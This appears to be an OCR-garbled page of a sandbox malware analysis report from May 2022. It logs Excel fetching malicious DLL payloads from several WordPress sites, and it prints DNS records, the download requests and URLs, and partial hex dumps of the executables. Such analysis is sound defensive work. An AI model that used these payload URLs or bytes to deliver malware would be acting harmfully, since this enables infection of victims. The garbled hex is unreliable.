May 23, 2022 08:27:16.456284046 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456336975 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456348896 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456401110 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456413984 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456463099 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456501961 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456566095 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456595898 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456635952 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456653118 CEST 443 49172 188.114.96.10 192.168.2.22

May 23, 2022 08:27:16.456667900 CEST 49172 443 192.168.2.22 188.114.96.10

May 23, 2022 08:27:16.456706047 CEST 49172 443 192.168.2.22 188.114.96.10

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 23, 2022 08:27:15.082412004 CEST 55868 53 192.168.2.22 8.8.8.8

May 23, 2022 08:27:15.103962898 CEST 53 55868 8.8.8.8 192.168.2.22

May 23, 2022 08:27:19.073831081 CEST 49688 53 192.168.2.22 8.8.8.8

May 23, 2022 08:27:19.095272064 CEST 53 49688 8.8.8.8 192.168.2.22

May 23, 2022 08:27:22.284984112 CEST 58836 53 192.168.2.22 8.8.8.8

May 23, 2022 08:27:22.325681925 CEST 53 58836 8.8.8.8 192.168.2.22

May 23, 2022 08:27:26.580059052 CEST 50134 53 192.168.2.22 8.8.8.8

May 23, 2022 08:27:26.618870020 CEST 53 50134 8.8.8.8 192.168.2.22

May 23, 2022 08:27:28.744366884 CEST 55275 53 192.168.2.22 8.8.8.8

May 23, 2022 08:27:28.784041882 CEST 53 55275 8.8.8.8 192.168.2.22

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

May 23, 2022 08:27:15.082412004 CEST 192.168.2.22 8.8.8.8 0x77a5 Standard query  vipteck.com A (IP address) IN (0x0001)
(0)

May 23, 2022 08:27:19.073831081 CEST 192.168.2.22 8.8.8.8 0x6858 Standard query  salledemod A (IP address) IN (0x0001)
0) e.com

May 23, 2022 08:27:22.284984112 CEST 192.168.2.22 8.8.8.8 Oxad78 Standard query  airliftlimo.com A (IP address) IN (0x0001)
(0)

May 23, 2022 08:27:26.580059052 CEST 192.168.2.22 8.8.8.8 Oxed6b Standard query  kabeonet.pl A (IP address) IN (0x0001)
(0)

May 23, 2022 08:27:28.744366884 CEST 192.168.2.22 8.8.8.8 Oxd45e Standard query  www.kabeonet.pl A (IP address) IN (0x0001)
0

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

May 23, 2022 8.8.8.8 192.168.2.22 0x77a5 No error (0) vipteck.com 188.114.96.10 A (IP address) IN

08:27:15.103962898 CEST (0x0001)

May 23, 2022 8.8.8.8 192.168.2.22 0x77a5 No error (0) vipteck.com 188.114.97.10 A (IP address) IN

08:27:15.103962898 CEST (0x0001)

May 23, 2022 8.8.8.8 192.168.2.22 0x6858 No error (0) salledemod 160.153.40.1 A (IP address) IN

08:27:19.095272064 CEST e.com (0x0001)

May 23, 2022 8.8.8.8 192.168.2.22 0xad78 No error (0) airliftimo.com 159.203.19.2 A (IP address) IN

08:27:22.325681925 CEST (0x0001)

May 23, 2022 8.8.8.8 192.168.2.22 Oxed6b No error (0) kabeonet.pl 193.143.77.34 A (IP address) IN

08:27:26.618870020 CEST (0x0001)

May 23, 2022 8.8.8.8 192.168.2.22 Oxd45e No error (0) www.kabeonet.pl kabeonet.pl CNAME IN

08:27:28.784041882 CEST (Canonical (0x0001)

name)
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Timestamp

May 23, 2022
08:27:28.784041882 CEST

May 23, 2022
08:27:44.603184938 CEST

May 23, 2022
08:27:44.603184938 CEST

Source IP

8.8.8.8

8.8.8.8

8.8.8.8

Dest IP

192.168.2.22

192.168.2.22

192.168.2.22

HTTP Request Dependency Graph

e vipteck.com

.

airliftlimo.com

3

salledemode.com

o

kabeonet.pl

e www.kabeonet.pl

HTTP Packets
Session ID Source IP
0 192.168.2.22

. kBytes
WIEET transferred
Session ID Source IP
1 192.168.2.22

. kBytes
T

imestamp transferred
Session ID Source IP
2 192.168.2.22

. kBytes
T

imestamp transferred
May 23, 2022 2
08:27:15.139931917
CEST
May 23, 2022 3

08:27:15.168159962
CEST
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Source Port

49172

Direction

Source Port

49174

Direction

Source Port

49171

Direction

ouT

Trans ID Reply Code Name CName Address Type Class

Oxd45e No error (0) kabeonet.pl 193.143.77.34 A (IP address) IN
(0x0001)
0x7e05 No error (0) windowsupd 178.79.225.128 A (IP address) IN
atebg.s.lInwi.net (0x0001)
0x7e05 No error (0) windowsupd 95.140.230.192 A (IP address) IN
atebg.s.lInwi.net (0x0001)
Destination IP Destination Port Process
188.114.96.10 443 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Data
Destination IP Destination Port Process
159.203.19.2 443 C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Data
Destination IP  Destination Port Process
188.114.96.10 80 C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Data

GET /wp-admin/user/B8d6jr4pBND2HEXAMI/IJWa95VIQ/ HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: vipteck.com

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Mon, 23 May 2022 06:27:15 GMT

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: max-age=3600

Expires: Mon, 23 May 2022 07:27:15 GMT

Location: https://vipteck.com/wp-admin/user/B8d6jr4pBND2HExAmI/IIWa95VIQ/

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=0%2FblgvONgalOpATJum1jxBCsOWBVh7
y2PL%2FlaczjmC83Fzyt9WESCCPYZK%2BqRgzXmvCpShdVkaqCBmiEgvBVr%2Bb4wh7gy820UmenimLIL4KotM%2B4
KhGUTBC8770SQA%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Vary: Accept-Encoding

Server: cloudflare

CF-RAY: 70fbb983a9fd9963-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 30 0d Oa 0d Oa

Data Ascii: 0
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Session ID Source IP Source Port
3 192.168.2.22 49173
Timestamp e Direction
transferred

May 23, 2022 390 ouT
08:27:19.253859043
CEST
May 23, 2022 392 IN
08:27:19.435961008
CEST
Session ID Source IP Source Port
4 192.168.2.22 49175

. kBytes . .
Ti Di

imestamp transferred irection
May 23, 2022 1151 ouT
08:27:26.663609028
CEST
May 23, 2022 1152 IN
08:27:28.731070995
CEST
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160.153.40.1 80

193.143.77.34 80

Destination IP Destination Port Process

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Data

GET /tgroup.ge/x4bc2kL4BzGAeUsVi/ HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: salledemode.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Mon, 23 May 2022 06:27:19 GMT

Server: Apache

X-Powered-By: PHP/7.2.34

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Mon, 23 May 2022 06:27:19 GMT

Content-Disposition: attachment; filename="me435CErJsFGw1q.dIl"

Content-Transfer-Encoding: binary

Set-Cookie: 628b29475438f=1653287239; expires=Mon, 23-May-2022 06:28:19 GMT; Max-Age=60; path=/

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Last-Modified: Mon, 23 May 2022 06:27:19 GMT

Content-Length: 365056

Vary: Accept-Encoding

Strict-Transport-Security: max-age=300

Keep-Alive: timeout=5

Content-Type: application/x-msdownload

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4
7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4
3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 4
500 00 64 86 06 00 76 7b 87 62 00 00 00 00 00 00 00 00 fO 00 22 20 Ob 02 Oa 00 00 04 02 00 00 8a 03 00 00 00 00 00
80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00
00 00 fO 05 00 00 04 00 00 f5 54 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00
00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 d0 aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc
d1 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02
00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03
02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 54
8b 00 00 00 20 02 00 00 8¢ 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00
98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 cO 2e 70 64 61 74 61 00
00 cc 0f 00 00 00 fO 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00
00 00 fc d1 02 00 00 00 03 00 00 d2 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b" 5T@P .text
“rdataT @@.data7@.pdata@@.rsrc@@.

Destination IP  Destination Port Process

C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

Data

GET /wp-admin/VWIAz5vWJINHDb/ HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: kabeonet.pl

Connection: Keep-Alive

HTTP/1.1 301 Moved Permanently

Date: Mon, 23 May 2022 06:27:26 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
X-Redirect-By: WordPress

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Location: http://www.kabeonet. pl/wp-admin/VWIAz5vWJINHDb/
Content-Length: 0

Keep-Alive: timeout=2, max=100

Content-Type: text/html; charset=UTF-8
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Session ID Source IP
5 192.168.2.22
. kBytes
Timestamp transferred
May 23, 2022 1152
08:27:28.831250906
CEST
May 23, 2022 1154
08:27:29.850598097
CEST
HTTPS Proxied Packets
Session ID Source IP
0 192.168.2.22
. kBytes
Timestamp transferred

2022-05-23 06:27:15 UTC 0
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Source Port

49176

Direction

ouT

Source Port

49172

Direction

ouT

Destination IP

193.143.77.34 80

Destination Port Process

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Data

GET /wp-admin/VWIAz5vWJINHDb/ HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: www.kabeonet.pl

Connection: Keep-Alive

HTTP/1.1 404 Not Found

Date: Mon, 23 May 2022 06:27:28 GMT

Server: Apache

Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Link: <https://www.kabeonet.pl/wp-json/>; rel="https://api.w.org/"

Upgrade: h2,h2c

Connection: Upgrade, Keep-Alive

Keep-Alive: timeout=2, max=100

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Data Raw: 31 31 66 30 30 0d Oa 09 09 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 21 2d 2d 5b 69 66 20 49 45
20 37 5d 3e 0d Oa 3c 68 74 6d 6¢ 20 63 6¢ 61 73 73 3d 22 69 65 20 69 65 37 22 20 6¢ 61 6e 67 3d 22 70 6¢ 2d 50 4c 22
3e 0d Oa 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d Oa 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 0d Oa 3c 68 74 6d 6¢ 20
63 6¢ 61 73 73 3d 22 69 65 20 69 65 38 22 20 6¢ 61 6€ 67 3d 22 70 6¢ 2d 50 4c 22 3e 0d Oa 3c 21 5b 65 6e 64 69 66 5d
2d 2d 3e 0d Oa 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 37 29 20 26 20 21 28 49 45 20 38 29 5d 3e 3c 21 2d 2d 3e 0d Oa
3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 70 6¢ 2d 50 4c 22 3e 0d Oa 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0d Oa
3c 68 65 61 64 3e 0d Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0d Oa 3c 74 69 74 6¢
65 3e 0d 0a 09 09 0d Oa 09 09 09 4e 69 65 20 7a 6e 61 6¢ 65 7a 69 6f 6e 6f 20 73 74 72 6f 6e 79 50 72 6f 6a 65 6b 74 6f
77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74 65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6¢ 65 09 09 0d Oa 09 09 3c 2f 74
69 74 6¢ 65 3e 0d 0a 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 70 72 6f 66 69 6¢ 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f
67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22
20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73
63 61 6¢ 65 3d 31 2e 30 22 3e 0d Oa 3c 6¢ 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f
6f 67 6¢ 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6¢ 79 3d 52 6f 62 6f 74 6f 3a 34 30 30 2c 31 30 30 2C 33
303026 73 7562 73 65 74 3d 6¢ 61 74 69 6e 2c 6¢ 61 74 69 6e 2d 65 78 74 27 20 72 65 6¢ 3d 27 73 74 79 6¢C 65 73 68
65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 09 09 0d Oa 20 20 20 20 0d Oa 3c 6d 65 74 61 20 6e 61
6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6¢ 6¢ 6f 77 27 20 2f 3e
Oa 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 69 6d 69 7a 65 64 20 77 69 74 68 20 74 68 65
2059 6f 61 73 74 20 53 45 4f 20 70 6¢ 75 67 69 6e 20 76 31 38 2e 39 20 2d 20 68 74 74 70 73 3a 2f 2f 79 6f 61 73 74 2e
63 6f 6d 2f 77 6f 72 64 70 72 65 73 73 2f 70 6¢ 75 67 69 6e 73 2f 73 65 6f 2f 20 2d 2d 3e 0a 09 3c 6d 65 74 61 20 70 72 6f
7065 72 74 79 3d 22 6f 67 3a 6¢ 6f 63 61 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6¢ 5f 50 4c 22 20 2f 3e 0a 09 3c 6d
65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6¢ 65 22 20 63 6f 6e 74 65 6e 74 3d 22 53 74 72 6f 6e 79 20
6e 69 65 20 7a 6e 61 6¢ 65 7a 69 6f 6e 6f 20 2d 20 50 72 6f 6a 65 6b 74 6f 77 61 6e 69 65 20 73 74 72 6f 6e 20 69 6e 74
65 72 6e 65 74 6f 77 79 63 68 20 4f 70 6f 6¢ 65 22 20 2f 3e 0a 09 3¢ 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67
3a

Data Ascii: 11f00<!DOCTYPE html>...[if IE 7]><html class="ie ie7" lang="pl-PL"><![endif]-->...[if IE 8]><html class="ie ie8"
lang="pl-PL"><![endif]-->...[if (IE 7) & !(IE 8)]>...><html lang="pl-PL">...<![endif]--><head><meta charset="UTF-8" /><title
>Nie znaleziono stronyProjektowanie stron internetowych Opole</title><link rel="profile" href="http://gmpg.org/xfn/11"><
meta name="viewport" content="width=device-width, initial-scale=1.0"><link href="https://fonts.googleapis.com/css?family
=Robot0:400,100,300&subset=latin,latin-ext' rel="stylesheet' type="text/css'> <meta name="robots' content="noindex, f
ollow' />... This site is optimized with the Yoast SEO plugin v18.9 - https://yoast.com/wordpress/plugins/seo/ --><meta
property="og:locale" content="pl_PL" /><meta property="og:title" content="Strony nie znaleziono - Projektowanie stron in
ternetowych Opole" /><meta property="0g:

Destination

Process
Port

Destination IP

188.114.96.10 443 C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Data

GET /wp-admin/user/B8d6jr4pBND2HEXAMI/IIWa95VIQ/ HTTP/1.1

Accept: */*

UA-CPU: AMD64

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: vipteck.com

Connection: Keep-Alive
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kBytes

Timestam
P transferred

2022-05-23 06:27:16 UTC 0

2022-05-23 06:27:16 UTC 1

2022-05-23 06:27:16 UTC 1

2022-05-23 06:27:16 UTC 3

2022-05-23 06:27:16 UTC 4

2022-05-23 06:27:16 UTC 5

2022-05-23 06:27:16 UTC 7

2022-05-23 06:27:16 UTC 8
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Direction

IN

Data

HTTP/1.1 200 OK

Date: Mon, 23 May 2022 06:27:16 GMT

Content-Type: application/x-msdownload

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.4.29

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Mon, 23 May 2022 06:27:16 GMT

Content-Disposition: attachment; filename="RD0O5UTHGkitvIJt.dIl"

Content-Transfer-Encoding: binary

Set-Cookie: 628b294427¢c96=1653287236; expires=Mon, 23-May-2022 06:28:16 GMT; Max-Age=60; path=/
Vary: X-Forwarded-Proto,Accept-Encoding

Last-Modified: Mon, 23 May 2022 06:27:16 GMT

CF-Cache-Status: DYNAMIC

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\/\v3?s=87atFddPPo28rimmgDoSYHz80CFRJiWD
9%2BnYalLeQ99judz%2BZKHd%2FBgnlosbbugv2N09Chh7VUL4gBIOLd%2FX3Bfk8xfbdZWAXLNUSmMOE6j%2BPB%2F7
ayPryKAtcDinO4kw%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 70fbb987882791e4-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Data Raw: 35 37 32 32 0d Oa 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 Oe 1f ba Oe 00
b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20
44 4f 53 20 6d 6f 64 65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6
b 83 d2 69 6b b2 a4 7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2
6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 50 45 00 00 64 86 06 00 76 7b 87 62 00 00 00 00 00

Data Ascii: 5722MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikkikkikRichikPEdv{b

Data Raw: 00 fO 00 22 20 Ob 02 0a 00 00 04 02 00 00 8a 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00
00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 fO 05 00 00 04 00 00 f5 54 06 00 02
00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00
10 00 00 00 dO aa 02 00 84 00 00 00 04 a2 02 00 50 00 00 00 00 00 03 00 fc d1 02 00 00 fO 02 00 cc 0f 00 00 00 00 00 00
00 00 00 00 00 e0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03

Data Ascii: " 5T@P .text

Data Raw: 8b c6 41 ff cb 48 03 c¢7 4c 2b c0 90 Of b6 10 42 Of b6 Oc 00 2b d1 75 07 48 ff c0 85 c9 75 ed 85 d2 74 0Of 49 83
c1 04 49 83 ¢2 02 45 85 db 75 cc eb Ob 41 0f b7 02 8b 5¢ 85 00 48 03 df 48 8b 6¢ 24 10 48 8b 74 24 20 48 8b c3 48 8b
5¢ 24 18 5f 3 cc cc cc cc cc cc cc cc cc cc cc 40 55 56 48 8d ac 24 28 f5 ff ff 48 81 ec d8 Ob 00 00 48 8b 05 4f 9d 02 00
48 33 c4 48 89 85 c0 0a 00 00 ff ca 48 8b f1 0f 85 0d 1e 00 00 c7 44 24 20 06 b8 27 4e c7 44 24 24 56 1d 6f 1b c7 44 24
28 66 37 3201 c7 44 24 2c 71 1e 2f 28 c7 44 24 30 0f 18 a6 c3 c7 44 24 34 0e 50 b7 d5 c7 44 24 38 99 12 dO 80 c7 44 24
3cfd 77 43357 44 24 40 42 aa al 1d c7 44 24 44 4d 19 67 1d c7 44 24 48 6a 2f c8 8b c7 44 24 4c 7c ff 1a 27 c7 44 24
50 04 fc b5 20 c7 44 24 54 2e 23 ee 28 c7 44 24 58 09

Data Ascii: AHL+B+uHutllEUA\HHI$Ht$ HH\$_@UVH$(HHOH3HHDS$ ‘ND$$VoD$(f72D$,q/(D$0D$4PD$SBDS<w
C5D$@BD$SDMgD$H)/DSLI'D$P DST.#(D$SX

Data Raw: 85 6¢ 01 00 00 e7 db 60 3d c7 85 70 01 00 00 4d 31 33 55 c7 85 74 01 00 00 80 6¢ d6 3d c7 85 78 01 00 00 4d
70 1c a6 c7 85 7c 01 00 00 22 0a af Oc ¢7 85 80 01 00 00 Oe 46 5f 51 c7 85 84 01 00 00 69 35 3e ce c7 85 88 01 00 00 61
55 4a 27 ¢7 85 8¢ 01 00 00 a7 91 3a ec c7 85 90 01 00 00 34 4e 53 Ob ¢7 85 94 01 00 00 ef 71 a6 1a c7 85 98 01 00 00
56 7 7d b5 c7 85 9c 01 00 00 21 40 43 2b ¢7 85 a0 01 00 00 8 ac fa 24 c7 85 a4 01 00 00 55 39 ac 6f ¢7 85 a8 01 00 00
4¢ 20 5d 31 ¢7 85 ac 01 00 00 78 6a 16 ¢5 c7 85 b0 01 00 00 68 69 11 37 ¢7 85 b4 01 00 00 99 94 6¢ d4 c7 85 b8 01 00
00 35 4d 68 18 ¢7 85 bc 01 00 00 a6 2b Oe 20 ¢7 85 c0 01 00 00 0d 19 a6 12 c7 85 ¢4 01 00 00 d8 28 11 5e c7 85 c8 01 0
000 0f b8 3¢ 42 c7 85 cc 01 00 00 al 1c 61 52 c7 85 d0 01 00 00

Data Ascii: I'=pM13Utl=xMp|"F_Qi5>aUJ :4NSqV}!@C+$U9oL J1xjhi7I5Mh+ ("<BaR

Data Raw: c7 85 90 03 00 00 25 38 el 23 ¢7 85 94 03 00 00 50 00 71 ad c7 85 98 03 00 00 f2 66 61 01 c7 85 9¢ 03 00 00
5038 75 1e ¢7 85 a0 03 00 00 ed 3f 78 3f ¢7 85 a4 03 00 00 a7 21 50 a9 c7 85 a8 03 00 00 17 ff 32 af ¢7 85 ac 03 00 00
9a c6 3e 5b c7 85 b0 03 00 00 24 39 33 31 ¢7 85 b4 03 00 00 64 ee a9 4d c7 85 b8 03 00 00 3¢ 4d 7d 4f ¢7 85 bc 03 00
00 1b 70 2b db ¢7 85 c0 03 00 00 94 6¢ 58 50 c7 85 c4 03 00 00 67 56 57 48 c7 85 c8 03 00 00 47 ae 85 5f ¢7 85 cc 03
00 00 51 6¢ 79 4f ¢7 85 d0 03 00 00 3e 0d 7e ee c7 85 d4 03 00 00 bf 5d 45 72 c7 85 d8 03 00 00 2b 3 27 1b c7 85 dc 03
00 00 Oe 7 fd 79 c7 85 €0 03 00 00 db a9 32 35 ¢7 85 e4 03 00 00 3¢ 2d 07 15 c7 85 €8 03 00 00 5b 2d 22 84 ¢7 85 ec O
300 00 a5 6a 69 2e c7 85 f0 03 00 00 2b 68 Of cb ¢7 85 4 03 00

Data Ascii: %8#PqfaP8u?x?!P2>[$931dM<M}Op+IXPgVWHG_QlyO>~]Er+y25<-[-'ji.+h

Data Raw: 07 ¢7 85 b4 05 00 00 96 71 e6 27 c7 85 b8 05 00 00 6b 49 c5 f3 ¢7 85 bc 05 00 00 23 ab b6 58 c7 85 c0 05 00
00 33 fa f1 9d c7 85 c4 05 00 00 77 26 65 64 c7 85 c8 05 00 00 b4 1c 4a 19 c7 85 cc 05 00 00 08 ac 62 e5 c7 85 d0 05 00
00 44 29 27 55 ¢7 85 d4 05 00 00 e6 ae 74 fd c7 85 d8 05 00 00 53 7d 70 6e c7 85 dc 05 00 00 6¢ 15 46 bf c7 85 e0 05
00 00 26 f3 2a 67 c7 85 e4 05 00 00 Oa 61 f4 3a ¢7 85 e8 05 00 00 64 ad 42 bb c7 85 ec 05 00 00 71 ee a5 2e c7 85 f0 05
00 00 5e 5c 54 fa c7 85 f4 05 00 00 68 de 94 7b c7 85 f8 05 00 00 2a 68 00 Oa c7 85 fc 05 00 00 08 d4 fe 5e c7 85 00 06
00 00 48 3c 42 b5 c7 85 04 06 00 00 Oa 67 40 24 c7 85 08 06 00 00 1b f2 ee c8 c¢7 85 Oc 06 00 00 50 2b 6f 6f c7 85 10 06
00 00 e3 a7 66 65 c7 85 14 06 00 00 99 18 el 75 c7 85 18 06

Data Ascii: q'kl#X3w&edJbD)'UtS}pnlF&*ga:dBg.N\Th{*h"H<Bg@$P+oofeu

